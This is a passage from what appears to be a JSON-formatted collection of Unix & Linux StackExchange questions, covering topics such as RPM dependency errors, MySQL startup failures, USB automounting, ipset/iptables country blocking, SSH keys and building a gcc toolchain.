fsck. Just to make things a little weirder - I actually physically removed the drive with the main OS (and swap/hibernate partition). The secondary OS I was playing with is a 'live' OS. So, the secondary never had direct access to the partition in question (or the hibernation image). So, main question: What caused this? // // // **Edit:** for clarification, the above is the question, below was just my specualtion. Per the comments, the RTC thing may be a red herring - it was just a guess. My best guess of what happened is that perhaps the live OS changed my system clock, which then messed up my main/root ext3 fs (because .. timestamps?), causing an error, which forced a remount as ro. (The root partition is normally mounted with the option \"errors=remount-ro\"). That said, at a user level, my desktop clock is not wrong/changed. I didn't think to check more precisely (or at all) immediately after the 'problematic resume'. Still, it's the only way I can think of for the secondary to break something _without having access to the primary_. I think it had been a while since I ran fsck, but I'm not sure why that would crop up so abruptly. But I guess that could be an explanation without any 'cross drive magic' - and would have nothing to do with my hibernation hijinks. So, main question: What caused this? Additional questions, if/as they fit: is the RTC thing plausible? I'm pretty sure I've seen RTC related options in BIOS (to 'write-protect' it?) - is that a standard/consistent thing? (Or will some systems not be able to guard against RTC manipulation?) What, if any, other non-volatile storage do I need to consider? (That last one, especially, might need to be a seperate question, I guess.)"} {"_id": "2556", "title": "Problems with RPM (JRE)", "text": "I'm trying to install a JRE on Ubuntu 10.04, but I failed: oneat@oneat-desktop:~/Downloads$ sudo rpm -i --force-debian jre-6u21-linux-i586.rpm error: Failed dependencies: /bin/basename is needed by jre-1.6.0_21-fcs.i586 /bin/cat is needed by jre-1.6.0_21-fcs.i586 /bin/cp is needed by jre-1.6.0_21-fcs.i586 /bin/gawk is needed by jre-1.6.0_21-fcs.i586 /bin/grep is needed by jre-1.6.0_21-fcs.i586 /bin/ln is needed by jre-1.6.0_21-fcs.i586 /bin/ls is needed by jre-1.6.0_21-fcs.i586 /bin/mkdir is needed by jre-1.6.0_21-fcs.i586 /bin/mv is needed by jre-1.6.0_21-fcs.i586 /bin/pwd is needed by jre-1.6.0_21-fcs.i586 /bin/rm is needed by jre-1.6.0_21-fcs.i586 /bin/sed is needed by jre-1.6.0_21-fcs.i586 /bin/sort is needed by jre-1.6.0_21-fcs.i586 /bin/touch is needed by jre-1.6.0_21-fcs.i586 /usr/bin/cut is needed by jre-1.6.0_21-fcs.i586 /usr/bin/dirname is needed by jre-1.6.0_21-fcs.i586 /usr/bin/expr is needed by jre-1.6.0_21-fcs.i586 /usr/bin/find is needed by jre-1.6.0_21-fcs.i586 /usr/bin/tail is needed by jre-1.6.0_21-fcs.i586 /usr/bin/tr is needed by jre-1.6.0_21-fcs.i586 /usr/bin/wc is needed by jre-1.6.0_21-fcs.i586 /bin/sh is needed by jre-1.6.0_21-fcs.i586 How can I work around that? * * * **Edit** : I tried Riccardo's answer, but it still doesn't work: root@oneat-desktop:/home/oneat/Downloads/untitled folder# rpm --nodeps --force-debian -i jre.rpm Unpacking JAR files... rt.jar... jsse.jar... charsets.jar... localedata.jar... plugin.jar... javaws.jar... deploy.jar... [: 924: /usr/java/jre1.6.0_21: unexpected operator [: 924: /usr/java/jre1.6.0_21: unexpected operator Those are only some of the errors: dpkg-shlibdeps: warning: Can't extract name and version from library name `libjava.so' dpkg-shlibdeps: warning: couldn't find library libjvm.so needed by debian/jre/usr/java/jre1.6.0_21/lib/i386/libj2gss.so (ELF format: 'elf32-i386'; RPATH: '/usr/java/jre1.6.0_21/lib/i386'). Note: libraries are not searched in other binary packages that do not have any shlibs or symbols file. To help dpkg-shlibdeps find private libraries, you might need to set LD_LIBRARY_PATH. dpkg-shlibdeps: warning: Can't extract name and version from library name `libjava.so' dpkg-shlibdeps: warning: Can't extract name and version from library name `libjava.so' dpkg-shlibdeps: warning: couldn't find library libjvm.so needed by debian/jre/usr/java/jre1.6.0_21/lib/i386/libjava.so (ELF format: 'elf32-i386'; RPATH: '/usr/java/jre1.6.0_21/lib/i386'). Note: libraries are not searched in other binary packages that do not have any shlibs or symbols file. To help dpkg-shlibdeps find private libraries, you might need to set LD_LIBRARY_PATH. dpkg-shlibdeps: warning: Can't extract name and version from library name `libverify.so' dpkg-shlibdeps: warning: Can't extract name and version from library name `libverify.so' dpkg-shlibdeps: warning: couldn't find library libjvm.so needed by debian/jre/usr/java/jre1.6.0_21/lib/i386/libjsoundalsa.so (ELF format: 'elf32-i386'; RPATH: '/usr/java/jre1.6.0_21/lib/i386'). Note: libraries are not searched in other binary packages that do not have any shlibs or symbols file. To help dpkg-shlibdeps find private libraries, you might need to set LD_LIBRARY_PATH. dpkg-shlibdeps: warning: Can't extract name and version from library name `libjava.so' dpkg-shlibdeps: warning: Can't extract name and version from library name `libjava.so' dpkg-shlibdeps: warning: Can't extract name and version from library name `libjli.so' dpkg-shlibdeps: warning: Can't extract name and version from library name `libjli.so' dpkg-shlibdeps: warning: couldn't find library libmawt.so needed by debian/jre/usr/java/jre1.6.0_21/lib/i386/libjawt.so (ELF format: 'elf32-i386'; RPATH: '/usr/java/jre1.6.0_21/lib/i386'). Note: libraries are not searched in other binary packages that do not have any shlibs or symbols file. To help dpkg-shlibdeps find private libraries, you might need to set LD_LIBRARY_PATH. dpkg-shlibdeps: warning: couldn't find library libjvm.so needed by debian/jre/usr/java/jre1.6.0_21/lib/i386/libjawt.so (ELF format: 'elf32-i386'; RPATH: '/usr/java/jre1.6.0_21/lib/i386')."} {"_id": "94280", "title": "linux + cant run dialog utility + got errors", "text": "Problem is as follows: Linux kernel: 3.0.13-0.27-default #1 SMP I\u2019ve installed \u201cdialog\u201d utility ( `/usr/bin/dialog` ), just copied bin file to `/usr/bin` When I have tried to run it, error message regarding missing `libncursesw.so.5` lib appeared. To solve the problem I try to copied the file `libncursesw.so.5` to `/usr/lib/` but not help Now, I got another error: error while loading shared libraries: /usr/lib/libncursesw.so.5: file too short Please advise"} {"_id": "94281", "title": "Can't start mysql on Fedora 19", "text": "I'm running Fedora 19 and I have installed MySQL using `yum install mysql`. When I issue the `mysql` command, I get the following error message: > ERROR 2002 (HY000): Can't connect to local MySQL server through socket > '/var/lib/mysql/mysql.sock' (2) If I do create the /var/lib/mysql/mysql.sock file the number after the error message change to `(111)` (it is possible that I have created the file with wrong permissions). After reading to this question and this one I tried to `service mysqld start`, but I get: Redirecting to /bin/systemctl start mysqld.service Failed to issue method call: Unit mysqld.service failed to load: No such file or directory. See system logs and 'systemctl status mysqld.service' for details. and `service mysqld status` returns Redirecting to /bin/systemctl status mysqld.service mysqld.service Loaded: error (Reason: No such file or directory) Active: inactive (dead)"} {"_id": "94287", "title": "AWK special character", "text": "If i want to awk the below pattern in a file Mobilenumber '91_987986787688899' was successful I used the below code awk '/Mobilenumber '91_987986787688899' was successful/ {print $0}' Log Filename Though the log file has that sentence its not rendering any result. I spent a while on this but was not successful... Please help"} {"_id": "94285", "title": "How do I run a script when I switch between keyboard layouts", "text": "I use more than one keyboard layout, and I would like to find a way to run a script when I switch between them. Is this possible? So far, I can assign a shortcut for a script like this: #!/bin/bash #switch between two layouts (English and Greek in this case) current_layouts=$(gsettings get org.gnome.libgnomekbd.keyboard layouts) if [ \"$current_layouts\" = \"us\" ]; then gsettings set org.gnome.libgnomekbd.keyboard layouts \"['gr']\" else gsettings set org.gnome.libgnomekbd.keyboard layouts \"['us']\" fi exec /path/to/another/script But using this method, I can use only that shortcut to switch between layouts and the keyboard indicator will disappear from the status menu, what is unpleasantly."} {"_id": "11476", "title": "WPA pre-shared key format in linux and macintosh", "text": "I'm temporarily in a situation where the wifi network I need to use is implemented using Macintosh equipment. They have encoded their network using WPA and TKIP. I can't seem to get onto their network and I _think_ I've tracked the problem down to the pre-shared key format. When others (using Macs) enter the PSK into thier Mac interface thing, they use a 13 digit code that is all integers [0-9], e.g. `0123456789123`. In my `wpa1.conf` file, which is used by `wpa_supplicant` to configure `iwconfig`, I have a line in the network block: psk=\"0123456789123\" I _think_ that I should be entering a hex string (yes, I know this _could_ be a hex string already). **Does anyone here have any experience with Mac's UI concerning the format psk's are entered in, and whether I need to change them into hex to use a psk in my linux (slackware 13.1)?** Note that my wireless setup works fine in other environments that don't use WPA or a pre-shared key which indicates that the hardware and firmware are ok."} {"_id": "11477", "title": "What are the allowed group names for groupadd?", "text": "I followed these instructions to build Shadow, which provides the **`groupadd`** command. I am now getting an error when trying this: $ groupadd automake1.10 groupadd: 'automake1.10' is not a valid group name I checked alphanumeric names, and they work okay."} {"_id": "12003", "title": "How can I automount devices with no desktop environment?", "text": "> **Possible Duplicate:** > Replacement for halevt? I've installed Arch Linux on my computer and I'm not using a desktop environment. I just have Openbox window manager installed and bit by bit I'm building up my system with necessary applications etc. My problem is that with a DE I had the convenience of being able to access my two CD drives or my pen drive immediately - it just detected them and would mount them automatically. The same can be said for my Windows partition that used to be detected automatically with a DE. Why is it that with no DE this sort of functionality is no longer present? I have my Windows partition mounting through an entry in fstab and creating a mount point in /mnt...that's all well and good but having to do the same thing or having to use the mount command in the terminal for simple things like plugging a USB pen drive in is a bit ridiculous. Is there any way that I can get automounting functionality? I looked around for similar questions but all of them used a DE so I couldn't really relate to them."} {"_id": "111358", "title": "automount usb drive", "text": "I have a RaspberryPi with Raspbian (no GUI, only terminal). I want to use it as a music player (I will install a music daemon with web interface). Currently, when want to mount an external usb drive, I have to execute this command: sudo mount -t ntfs -o rw,auto,user,fmask=0022,dmask=0022 \\ /dev/whatever /mnt/whatever In this way everything works well; but I need a way to mount an external drive without executing the above command. I just want to insert the usb-drive, and the usb-drive should automatically mount in a specific folder (for example in `/mnt/USBs`). I tried to modify the `fstab` file, but it works only when I turn on the computer and not at run-time. How can I have the computer mount the USB drive whenever I insert it?"} {"_id": "57234", "title": "Problem with Debian Squeeze and Wheezy mixed", "text": "nrc1:/var/cache/apt# apt-get upgrade Reading package lists... Done Building dependency tree Reading state information... Done You might want to run 'apt-get -f install' to correct these. The following packages have unmet dependencies: libc6 : Depends: libc-bin (= 2.11.3-3) but 2.13-35 is installed locales : Depends: glibc-2.13-1 but it is not installable E: Unmet dependencies. Try using -f. I had this original Lenny install in use for thin client facility to students I successfully upgraded it to Squeeze long back During my leave for five long months, the other guy tried to install some things from Testing and Sid Now as I'm trying `apt-get upgrade` the above is the result my current `sources.list` deb http:// ftp .us.debian.org/debian/ squeeze main contrib non-free deb http:// ftp .us.debian.org/debian/ squeeze-proposed-updates contrib non-free main deb http://security.debian.org/ squeeze/updates contrib non-free main I have no idea how to cope up the machine is in use by nearly 900 students but has all old software"} {"_id": "43101", "title": "To use -c0 -io in file-systems with journal", "text": "I've several partitions with EXT4. Now, I would want if it makes sense to use _tune2fs_ with flags **-c0** ( _max-mount-counts_ ) and **-i0** ( _interval-between-checks_ ) in the partitions with a journal file-system since it needs less checks?"} {"_id": "43103", "title": "Backspace, Tab not working in terminal (using ssh)", "text": "When I ssh into another machine with Debian with my account(with sudo permissions), my backspace key generates some awkward symbols on pressing. Also Tab & del keys don't work too. On the other hand, I also have another account on the same machine & when I ssh through this account, its terminal works perfectly fine. I couldn't figure out why is this happening."} {"_id": "43102", "title": "largefile feature at creating file-system", "text": "Is useful to use _-T largefile_ flag at creating a file-system for a partition with big files like video, and audio in flac format? I tested the same partition with that flag and without it, and using _tune2fs -l [partition]_ , I checked in \"Filesystem features\" that both have \"large_file\" enabled. So, is not necessary to use _-T flag largefile_?"} {"_id": "11479", "title": "First FreeBSD install. Is there anything I should know about differences between Linux and BSD?", "text": "I want to install FreeBSD today on a spare HDD I have lying around. I'd like to give it a trial run, learn a few things, and if it suits me I'll replace my current Ubuntu 10.10 'server/NAS/encoding box' with it. Curiosity is the main reason. I also want to see most of the major bugs ironed out of GNOME 3/Unity before I jump aboard the next Ubuntu iteration. I have no experience with the BSDs (except for OS X) but I have installed and used quite a few Linux distros over the years. I have a _fairly_ good understanding of how to get Linux up and running, including some of the roll- your-own distros such as Arch. But I'm not an expert by any stretch of the imagination. Basically, I'd say I'm better than my grandma is. So is there anything that I should keep in mind when installing FreeBSD for the first time? In particular, are there any major differences between installing and setting up FreeBSD and a Linux distro? Furthermore, should I be using a i386 release? I read somewhere in the documentation that i386 is recommended but I'm not sure if that's out-of-date information."} {"_id": "97535", "title": "Performance Issue: AWS Medium Linux Instance V/S Hetzner Dedicated Instance", "text": "I am testing an AWS Medium Instance with CentOS (AWS AMI) and comparing it with Hetzner's EX40-SSD (http://www.hetzner.de/hosting/produkte_rootserver/ex40ssd). Software setup on both is comparable( Same OS, Same version of MySQL 5.6.14). CPU Speed of AWS was 2Ghz and CPU Speed of Hetzner was 3.4GHZ. mysql my.cnf was exactly same for both the servers. Have a large abc.sql file which has dump from another server (2GB Size) copied locally onto both the above servers. I ran the following command on both the machines # date > StartTime ; mysql -pxyz < abc.sql ; date >> StartTime & Strangely, the AWS Small instance completed the task in 12 mins where as the Hetzner instance took more than 40 mins to complete the task. There are no other servers/apps running on Hetzner machine (Clean machine with only MySQL). AWS Machine has other software running like SugarCRM, Piwik, Nginx, but not loaded. What could be the reason why the AWS outperformed the Hetzner ? Logically, Hetzner should be faster as it has SSD (Faster IO), faster CPU (3.4Ghz) and operating as Dedicated Machine and not a VM instance. How to debug and trace the root cause for such strange behavior."} {"_id": "97534", "title": "How do I allow only certain IPSet set's to access a certain port with iptables?", "text": "I'm using IPSet to build IP ranges for different countries as follows : # Canada ipset -F ca.zone ipset -N ca.zone nethash for IP in $(wget -O - http://www.ipdeny.com/ipblocks/data/countries/ca.zone) do ipset -A ca.zone $IP echo $IP done I'm then blocking those countries from certain ports on my server with the following iptables rules : iptables -A INPUT -m set --match-set fr.zone src -p tcp --dport 15765 -j DROP iptables -A INPUT -m set --match-set cn.zone src -p tcp --dport 15765 -j DROP iptables -A INPUT -m set --match-set ca.zone src -p tcp --dport 16247 -j DROP iptables -A INPUT -m set --match-set de.zone src -p tcp --dport 16247 -j DROP This all works well but I want to achieve the opposite of this for some of the ports by only allowing certain IPSet country ip ranges. For example block all IP's apart from those inside my uk.zone and th.zone sets. What iptables rules would I need to achieve this ?"} {"_id": "98886", "title": "Linux Mint 15 Ethernet Issue", "text": "I have a dual boot system with Mint and Win7. Under Mint the **wired** connection is going in and out randomly, short period of being out and 10-20 minutes up and working. I start up Linux and everything fine. Maybe about 10 minutes or so my ethernet connection goes out. I get a notification on the top right \"Wired Connection 1: Disconnected\" or something like that. I open Networking app that connection status says \"cable unplugged\" until out of no where it will go back on. Then maybe 20 or so minutes later it'll go back out. Same notification and my status will read \"cable unplugged\" again. The time its not working is much shorter than the time that it is working, most of time. It certainly is not physically 'unplugged' or loss or anything like that. Since I dual boot with windows and the internet connection when using Windows is fine all the time, the issue must lay within Linux. Any suggestions?"} {"_id": "60909", "title": "Is the id_rsa.pub file needed on client side?", "text": "If we would use: 1) password authentication through ssh 2) key auth - the public key's line are already in the servers authorized_keys **Q: So in either these two ways, storing the public key is unneeded on the client side?** p.s.: I tried to rename the id_rsa.pub file, and I still could log in to a server. so afaik storing the pubkey on client side is not needed. I'm asking this to be 100% sure."} {"_id": "46553", "title": "What does the \"notify\" button in AUR do?", "text": "There are three buttons when looking at a package in AUR: \"Vote\", \"Notify\" and \"Flag Out-of-date\". What does the \"Notify\" button do?"} {"_id": "46552", "title": "Where to install applications", "text": "I'm a long-time Windows user in the middle of a multi-year personal migration to Linux-based development. On Windows when I installed an application it got put in the Program Files folder and I'd have the app store the files that I create while using the app in a separate data folder hierarchy that I could back up regularly. What are the corresponding folders/directories in Linux (OK, I'm really running on a Mac)?"} {"_id": "98888", "title": "How to copy a public key to your server", "text": "I was trying to figure out how to add a new SSH key to my amazon server - I found this question and answer How do you copy the public key to a ssh-server? However I am so new to Linux/Unix and I overthink things so I thought the following 1. Since my clients access this server if I mess this up I am going to have serious problems recovering. 2. How could this possibly work because I have no connection to that other server. I read the first response and it suggests that I could send my newly generated public key to any server in the land. Does my second point make sense. The command from the shell (which I just installed) reads to me as 1. ssh - use an ssh session 2. copy the key to (in my case it would be ubuntu@ourspecial.server.com (hosted by Amazon though I am not sure it matters) In other words - for a totally new user the command suggests that if I use the following command $ ssh-copy-id tim@just.some.other.server if there is actually a user named tim and a server named just.some.other.server I would then have some privileges at that server And so I finally tried the command and clearly there is something missing as when I keyed in $ ssh-copy-id ubuntu@my.amazonserver.com the shell returned /usr/bin/ssh-copy-id: ERROR: No identities found"} {"_id": "97538", "title": "How to copy permissions from owner to others using `chmod`?", "text": "Is it possible to recursively copy the permissions of owner to group and others for all files in a given directory? PS: my `chmod` is 5.97"} {"_id": "94130", "title": "How do I aggregate data from many files into one file?", "text": "I have this directory structure for about 100 users. users - user1 - info.txt - user2 - info.txt - user3 - info.txt ... Inside the `info.txt` files, the contents look like this. 5 some_other_info Basically, it's just one line, containing a number, a space, then some text (may have spaces within). I'd like to create a file `result.txt` that looks like this. user1 5 user2 6 user3 7 ... Where `user1`, `user2`, `user3`, ... matches the directory name and the numbers match what's in their respective `info.txt` files. You can assume that the user directories have no spaces in their names. What's a good way to do this?"} {"_id": "94131", "title": "Mosh: Retain backscroll beyond terminal window height", "text": "I'm experimenting using Mosh instead of raw SSH for remote shell connections. So far I like it, but I've become used to being able to page-up or scroll through backscroll in my terminal window to see the results of older commands or commands that print too much info to fit in a single window. This works fine with normal SSH connections, but Mosh seems to be \"eating\" lines beyond the height of the window, so when I scroll back all I can see is stuff printed before I invoked Mosh. Is there a way I can get Mosh to behave like raw SSH and retain the backscroll? If it matters, the client is running on OS X Mountain Lion (10.7) in the standard \"Terminal\" program, with tcsh."} {"_id": "116140", "title": "How can I find out what kind of wireless card I have from output of lspci", "text": "I am trying to install a wireless driver for a new laptop running `ubuntu 12.04`. If I run `lspci` I do not see any human readable mention of a wireless card. $ lspci 00:00.0 Host bridge: Intel Corporation Haswell-ULT DRAM Controller (rev 09) 00:02.0 VGA compatible controller: Intel Corporation Haswell-ULT Integrated Graphics Controller (rev 09) 00:03.0 Audio device: Intel Corporation Device 0a0c (rev 09) 00:14.0 USB controller: Intel Corporation Lynx Point-LP USB xHCI HC (rev 04) 00:16.0 Communication controller: Intel Corporation Lynx Point-LP HECI #0 (rev 04) 00:19.0 Ethernet controller: Intel Corporation Ethernet Connection I218-V (rev 04) 00:1b.0 Audio device: Intel Corporation Lynx Point-LP HD Audio Controller (rev 04) 00:1c.0 PCI bridge: Intel Corporation Lynx Point-LP PCI Express Root Port 6 (rev e4) 00:1c.1 PCI bridge: Intel Corporation Lynx Point-LP PCI Express Root Port 3 (rev e4) 00:1d.0 USB controller: Intel Corporation Lynx Point-LP USB EHCI #1 (rev 04) 00:1f.0 ISA bridge: Intel Corporation Lynx Point-LP LPC Controller (rev 04) 00:1f.2 SATA controller: Intel Corporation Lynx Point-LP SATA Controller 1 [AHCI mode] (rev 04) 00:1f.3 SMBus: Intel Corporation Lynx Point-LP SMBus Controller (rev 04) 02:00.0 Unassigned class [ff00]: Realtek Semiconductor Co., Ltd. Device 5227 (rev 01) 03:00.0 Network controller: Realtek Semiconductor Co., Ltd. Device 818b abe-lens-laptop@abe:~$ lspci | wireless wireless: command not found But if I `grep` for \"0280\", which ubuntu help forums say will show me `lspci` output for wireless cards, I do get machine-readable output that does not mean much to me. $ lspci -nm | grep 0280 03:00.0 \"0280\" \"10ec\" \"818b\" \"10ec\" \"001b\" How can I find out what kind of wireless card I have?"} {"_id": "116147", "title": "Failed dependencies: libcurl.so.4(CURL_OPENSSL_3)(64bit)", "text": "I'm trying to install Synergy in my CentOS 6.5, here's what happens: # rpm -ivh ./synergy-1.4.16-r1969-Linux-x86_64.rpm error: Failed dependencies: > libcurl.so.4(CURL_OPENSSL_3)(64bit) is needed by synergy-1.4.16-1.x86_64 And I have this `libcurl` package: # rpm -qa |grep libcurl libcurl-7.19.7-37.el6_4.x86_64 I've installed CentOS today, it's my first day using Linux."} {"_id": "7823", "title": "Compiling code from vim", "text": "New to `vim` and and I want to be able to compile code from within `vim` without running a new terminal and calling the compiler. How do I go about doing this? Note that this requirement is not restricted to `gcc` only, I sometimes need to call `python` also on the current script I am working on, so you get the idea..."} {"_id": "94136", "title": "mc: customizig colors with skins", "text": "I am editing the default skin for `midnight commander` and I would like to add some more rules for file highlighting. In the `filehighlight` section, there are several categories, for example `archive=red;` will display all `gz` files red. [filehighlight] directory=white; executable=brightgreen; symlink=lightgray; hardlink= stalelink=brightred; device=brightmagenta; special=black; core=red; temp=gray; archive=red; doc=brown; source=cyan; media=green; graph=brightcyan; database=brightred; I would like to add new rules, for example all `*.deb` files should have blue color. Is it possible to create new categories ? Where are these categories defined, anyway?"} {"_id": "17147", "title": "can i modify an .rpm-based system to use .deb files, apt-get and debian/ubuntu repositories?", "text": "I recently ran into trouble when installing Debian on a netbook. There were three major hardware/kernel issues that I didn't feel like fixing, and since every single forum/wiki writeup reported the exact same problems with very few easy solutions, I decided to try something new. So I just tried every distro I could get my hands on, hoping to find one that would work more or less perfectly out of the box. To my surprise, the latest version of openSUSE works flawlessly and runs about as fast as Debian. Unfortunately, many packages that are standard in Debian-based systems are not even installed by default in openSUSE. The repository of available software is depressingly small. Is there any way I can get around this? Build a Debian-based system on top of the out-of-the-box kernel setup from a totally unrelated distro?"} {"_id": "52551", "title": "How can I solve this ssh-agent problem?", "text": "I'm using Linux Mint, and have not been able to get gnome-keyring to unlock automatically at login, it seems. A symptom of my problem is as follows: $ ssh-add Identity added: /home/me/.ssh/id_rsa (/home/me/.ssh/id_rsa) $ git pull WARNING: gnome-keyring:: couldn't connect to: /tmp/keyring-Nmf3J3/pkcs11: No such file or directory How can I make it that git can push/pull without any passphrase input from me? I realize there's several things here with gnome-keyring, and ssh-agent, but have not been able to nail it down. ## Edit Running `ssh-add` during a session means that I am no longer asked for my passphrase for SSH/git. The problem is that I would need to run `ssh-add` during each session - I must be missing how to have Gnome's keyring unlock at login. As requested by didster: $ export | grep GNOME GNOME_KEYRING_CONTROL=/tmp/keyring-hjMM4V GNOME_KEYRING_PID=1961 Edit 2 It happened again during the same session as the first edit. I did `git pull` and got `WARNING: gnome-keyring:: couldn't connect to: /tmp/keyring- hjMM4V/pkcs11: No such file or directory`. As requested by Stephane: $ env | grep SSH SSH_AGENT_PID=2116 SSH_AUTH_SOCK=/tmp/ssh-OACxJMBY2038/agent.2038 $ps -fp $SSH_AGENT_PID UID PID PPID C STIME TTY TIME CMD eoin 2116 2038 0 09:47 ? 00:00:00 /usr/bin/ssh-agent /usr/bin/dbus-launch --exit-with-session x-session-manager"} {"_id": "52552", "title": "How to delete empty comments with sed?", "text": "I want to delete empty Java comments like the following: /** */ /* * * * */ I tried it with sed, but the following deletes all comments, not just the empty ones: sed -r \"/^\\s*\\/\\*+\\s*/,/\\s*\\*+\\/\\s*/d\" How can I tell sed to only delete ranges with lines of the shape `\\s\\\\*+\\s` in between? I looked at http://www.grymoire.com/Unix/Sed.html#uh-29 but I didn't find the solution there. P.S.: I created the following test file: /** bla bla bla */ /*ba dff *dd fdf *d f *df df df */ /** */ /* * * * */ class Test { some code... } The first approach: sed -n '/[^ \\/\\*]/p' /tmp/tmp bla bla bla /*ba dff *dd fdf *d f *df df df class Test { some code... } One of the comment has its intro and outro stripped. perl -0777 -pe 's,\\s*/\\*[*\\s]*\\*/\\s*, ,gs' < /tmp/tmp /** bla bla bla */ /*ba dff *dd fdf *d f *df df df */ class Test { some code... } The last comment is on the same line as the class definition. warl0ck's approach: $ removeemptycomments /tmp/tmp class Test { some code... }"} {"_id": "152775", "title": "Are there network connections that don't use the WiFii card or the Ethernet port?", "text": "I see many connections like when I use `netstat`, are they all to the internet? Are there any connections to the internet or other things that aren't forthcoming? I guess what I'm asking is what does \"AC adapter is online\" actually mean, and do I have to have a WiFi adapter to connect to the \"cloud\" or is there something built in that does that without my permission?"} {"_id": "102511", "title": "How to compile gcc toolchain with special sysroot correctly?", "text": "I try to compile a new `gcc`, including `binutils` and `glibc`. Since I can not be root, I want to install it all in `~/local`. I set these variables: PREFIX=~/local && export PREFIX PATH=~/local/bin:$PATH && export PATH I built `binutis`, `gcc` and `glibc` (in exactly this order), with this configuration: ../binutils-2.22/configure --prefix=$PREFIX --with-sysroot ../gcc-4.7.3/configure --prefix=$PREFIX CC='gcc --sysroot=~/local' ../glibc-2.15/configure --prefix=$PREFIX My idea was that I'd first compile `binutils`, then compile a `gcc` which is linked with the new binutils, and finally, the two compile `glibc` (without need of my system's `glibc` of `/usr/lib`). However, after `binutils` and `gcc` were compiled and installed correctly, `gcc` fails to compile a simple program while configuring `glibc`: int main() { return 0; } Output (shortened): > gcc --sysroot=~/local/ test.cpp -o test ld: cannot find crt1.o: No such file or directory ld: cannot find crti.o: No such file or directory ld: cannot find -lc ld: cannot find crtn.o: No such file or directory However, this displays no files: find ~/local -name crti.o Did I configure anything wrong? My system is a server running a 64 bit Ubuntu 12.04 (\"precise\"), but I think it is not system related. The versions of the three toolchain components should fit each other, since openSuSE 12.2 has this combination."} {"_id": "60428", "title": "Fedora 17 freezes at loading screen with a CD-based installation", "text": "I'm trying to install F17 on my laptop (Toshiba A-665 ... 4gigs RAM, nividia gforce GTS350M,core-i7 1.7 GHz processor), but the liveCD boot freezes about 3/4 of the way through the loading icon... EVERY TIME. I've checked the image, the LiveCD (using Fedora 17s own media checker) and re-downloaded / rewritten the ISO about a thousand times now. Conclusion: the ISO is fine, the media is fine. The Fedora live environment just WILL NOT BOOT. I even tried to install other Distros of Linux (Ubuntu 12.10, Opensuse 12.2), and both gave me the same problem exactly. To clarify: I turn on my laptop, push F12 to select CD\\DVD as boot device Fedora boot options appear, hit enter on the first option, screen flashes white-ish, little cursor at top left (about 3-5 seconds here) little icon appears on screen, starts filling up ~3/4 of the way through, the icon stops filling at this point, the CD Drive stops spinning, as does the disk-usage light on my laptop. And I can't open the DVD Drive tray, with no response AT ALL. No \"could not find this, that, or the other thing\" errors. No response at all from the keyboard, I have to hold down the power button to reboot. I get exactly the same result (with different progress bar) when I select \"Trouble Shooting\" and then \"Boot in something-or-other graphics mode.\""} {"_id": "102513", "title": "How do I get rid of these broken package errors and install Mate in Linux Mint 16 Petra?", "text": "I have upgraded my computer to Linux Mint 16 Petra. Everything worked smoothly during the install with no errors, or indications of any problems. However, after I rebooted, Mate was no longer an option among all the sessions. I have Cinnamon and Gnome, but no Mate. I logged in using Cinnamon and tried to install Mate using Synaptic, but it keeps giving me errors about broken packages. How do I install Mate in Linux Mint 16 Petra? Here is some output that I hope will be helpful in determining the problem: homebase ~ # sudo apt-get install mate-desktop-environment Reading package lists... Done Building dependency tree Reading state information... Done Some packages could not be installed. This may mean that you have requested an impossible situation or if you are using the unstable distribution that some required packages have not yet been created or been moved out of Incoming. The following information may help resolve the situation: The following packages have unmet dependencies: mate-desktop-environment : Depends: mate-core (= 1.6.0.1+raring) but it is not going to be installed Depends: mate-screensaver (>= 1.6.0) but it is not going to be installed Depends: mate-applets (>= 1.6.0) but it is not going to be installed E: Unable to correct problems, you have held broken packages. homebase ~ # apt-get install mate-core Reading package lists... Done Building dependency tree Reading state information... Done Some packages could not be installed. This may mean that you have requested an impossible situation or if you are using the unstable distribution that some required packages have not yet been created or been moved out of Incoming. The following information may help resolve the situation: The following packages have unmet dependencies: mate-core : Depends: libmatekbd (>= 1.6.0) Depends: libmatewnck (>= 1.6.0) Depends: libmatedesktop (>= 1.6.0) E: Unable to correct problems, you have held broken packages. homebase ~ # apt-get install libmatekbd Reading package lists... Done Building dependency tree Reading state information... Done Some packages could not be installed. This may mean that you have requested an impossible situation or if you are using the unstable distribution that some required packages have not yet been created or been moved out of Incoming. The following information may help resolve the situation: The following packages have unmet dependencies: mate-settings-daemon : Depends: mate-settings-daemon-gstreamer (>= 1.6.1-1~mate1+petra) but it is not going to be installed or mate-settings-daemon-pulse (>= 1.6.1-1~mate1+petra) but it is not going to be installed E: Error, pkgProblemResolver::Resolve generated breaks, this may be caused by held packages."} {"_id": "90624", "title": "Question about MX records and mail delivery?", "text": "Let's say, we have multiple mail servers in DNS records. If someone is sending a mail, the outgoing mail server will check the MX and contact the first server with the lowest cost. If this server doesn't have the requested mail address, what happens then? Does the outgoing mailserver send the message to the second mailserver in the MX record? Or does that depends on the error message by the first mailserver? How are messages to \"unknown addresses\" handled? By the first server attempting to deliver them to the appropriate MX mailserver, or does the MX mailserver attempt to resolve this?"} {"_id": "90627", "title": "Notify of changes on a file under /proc", "text": "I have written a small 'daemon' in bash that will switch to the headphones if they are detected, and if not, switch to an external USB speaker with PulseAudio. What I'm looking for is some way to get notification of changes on the file `/proc/asound/card0/codec#0`, just like `inotifywait` does on real files (considering files under /proc to be as \"pseudo-files\"). I find my code a bit insane, because it runs `sleep 1` with `awk` for the whole day, that is 86400 times a day :) while sleep 1; do _1=${_2:-} _2=$(awk '/Pin-ctls/{n++;if(n==4)print}' '/proc/asound/card0/codec#0') [[ ${_1:-} = $_2 ]] || if [[ $_2 =~ OUT ]]; then use_speakers else use_internal fi done What I'm looking for is something like (this example doesn't work): codec=/proc/asound/card0/codec#0 while inotifywait $codec; do if [[ $(awk '/Pin-ctls/{n++;if(n==4)print}' $codec) =~ OUT ]]; then use_speakers else use_internal fi done This way the commands inside the loop would be run only when there are real changes on the `$codec` file."} {"_id": "60420", "title": "Plugin support for gcc in RHEL/CentOS?", "text": "Is there anyway to enable or install plugin support for gcc in RHEL/CentOS?"} {"_id": "60422", "title": "How to interpret this output of lsof command?", "text": "root@host [/home2]# lsof /home2 COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME php 3182 ctxmortg cwd DIR 8,17 4096 32858196 /home2/ctxmortg/public_html/hello php 3182 ctxmortg 3r REG 8,17 46404 55781766 /home2/ctxmortg/public_html/hello/cache/subprimemortgagemorgage.com/cache-zch-8284-cache.txt php 3185 ctxmortg cwd DIR 8,17 4096 32858196 /home2/ctxmortg/public_html/hello php 3185 ctxmortg 3r REG 8,17 4185 35962154 